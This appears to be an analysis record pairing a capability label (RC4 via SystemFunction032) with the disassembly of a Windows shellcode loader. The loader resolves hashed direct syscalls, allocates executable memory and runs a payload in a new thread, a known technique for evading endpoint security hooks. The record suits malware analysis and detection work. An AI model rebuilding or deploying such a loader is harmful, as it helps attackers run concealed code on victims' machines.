Function at 0x140001440
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rax, qword [0x140005018]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor edi, edi
lea rcx, str.___Press__Enter__To_Start_The_Program_...
mov qword [rbp + 7], rdi
mov dword [rbp + 0x37], edi
mov qword [rbp + 0xf], rdi
call fcn.1400013e0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x1400014a9
mov rcx, qword [rdi]
mov qword [rax], rcx
lea rcx, str.Advapi32
mov dword [rbp + 0x17], 8
mov dword [rbp + 0x1b], 8
mov qword [rbp + 0x1f], rdi
mov dword [rbp + 0x27], 8
mov dword [rbp + 0x2b], 8
mov qword [rbp + 0x2f], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x17]
lea rcx, [rbp + 0x27]
call rax
test eax, eax
je 0x140001504
lea rcx, str.____SystemFunction032_FAILED_With_Error:_0x_0.8X__n
jmp 0x14000175c
lea rdx, [0x140005660]
mov qword [rbp + 0x3f], 8
mov ecx, 0xe0762feb
call section..text
test eax, eax
jne 0x14000152d
lea rcx, str.____Failed_In_Obtaining_The_Syscall_Number_Of_NtAllocateVirtualMemory__n
jmp 0x1400015bb
mov edx, dword [0x140005660]
lea rcx, str.___Syscall_Number_Of_NtAllocateVirtualMemory_Is_:_0x_0.2X__n
call fcn.1400013e0
lea rdx, [0x140005670]
mov ecx, 0x5c2d1a97
call section..text
test eax, eax
jne 0x14000155d
lea rcx, str.____Failed_In_Obtaining_The_Syscall_Number_Of_NtProtectVirtualMemory__n
jmp 0x1400015bb
mov edx, dword [0x140005670]
lea rcx, str.___Syscall_Number_Of_NtProtectVirtualMemory_Is_:_0x_0.2X__n
call fcn.1400013e0
lea rdx, [0x140005680]
mov ecx, 0x2073465a
call section..text
test eax, eax
jne 0x14000158d
lea rcx, str.____Failed_In_Obtaining_The_Syscall_Number_Of_NtCreateThreadEx__n
jmp 0x1400015bb
mov edx, dword [0x140005680]
lea rcx, str.___Syscall_Number_Of_NtCreateThreadEx_Is_:_0x_0.2X__n
call fcn.1400013e0
lea rdx, [0x140005690]
mov ecx, 0xdd554681
call section..text
test eax, eax
jne 0x1400015d1
lea rcx, str.____Failed_In_Obtaining_The_Syscall_Number_Of_NtWaitForSingleObject__n
call fcn.1400013e0
lea rcx, str.____Failed_To_Initialize_The_Specified_Direct_Syscalls__n
call fcn.1400013e0
jmp 0x140001763
mov edx, dword [0x140005690]
lea rcx, str.___Syscall_Number_Of_NtWaitForSingleObject_Is_:_0x_0.2X__n
call fcn.1400013e0
lea rcx, str.___Press__Enter__To_Continue_...
call fcn.1400013e0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov ecx, dword [0x140005660]
call fcn.140001790
xor r8d, r8d
mov dword [rsp + 0x28], 4
lea r9, [rbp + 0x3f]
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp + 7]
lea rcx, [r8 - 1]
call fcn.1400017a5
test eax, eax
jne 0x140001755
mov rdx, qword [rbp + 7]
test rdx, rdx
je 0x140001755
lea rcx, str.___Allocated_Memory_At_Address_0x_p__n
call fcn.1400013e0
mov rcx, qword [rbx]
mov rax, qword [rbp + 7]
mov qword [rax], rcx
mov ecx, dword [0x140005670]
mov qword [rbp + 0x3f], 8
call fcn.140001790
lea rax, [rbp + 0x37]
mov r9d, 0x20
lea r8, [rbp + 0x3f]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 7]
mov rcx, 0xffffffffffffffff
call fcn.1400017a5
test eax, eax
je 0x140001695
lea rcx, str.____NtProtectVirtualMemory_Failed_With_Error:_0x_0.8X__n
jmp 0x14000175c
lea rcx, str.___Press__Enter__To_Execute_The_Payload_...
call fcn.1400013e0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov ecx, dword [0x140005680]
call fcn.140001790
mov rax, qword [rbp + 7]
lea rcx, [rbp + 0xf]
mov qword [rsp + 0x50], rdi
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x48], rdi
xor r8d, r8d
mov qword [rsp + 0x40], rdi
mov edx, 0x1fffff
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.1400017a5
test eax, eax
je 0x1400016fd
lea rcx, str.____NtCreateThreadEx_Failed_With_Error:_0x_0.8X__n
jmp 0x14000175c
mov rcx, qword [rbp + 0xf]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
mov r8, qword [rbp + 7]
lea rcx, str.___Thread__d_Created_Of_Entry:_0x_p__n
mov edx, eax
call fcn.1400013e0
mov ecx, dword [0x140005690]
call fcn.140001790
mov rcx, qword [rbp + 0xf]
xor r8d, r8d
xor edx, edx
call fcn.1400017a5
test eax, eax
je 0x14000173f
lea rcx, str.____NtWaitForSingleObject_Failed_With_Error:_0x_0.8X__n
jmp 0x14000175c
lea rcx, str.___Press__Enter__To_Quit_...
call fcn.1400013e0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x140001768
lea rcx, str.____NtAllocateVirtualMemory_Failed_With_Error:_0x_0.8X__n
mov edx, eax
call fcn.1400013e0
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400017e0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret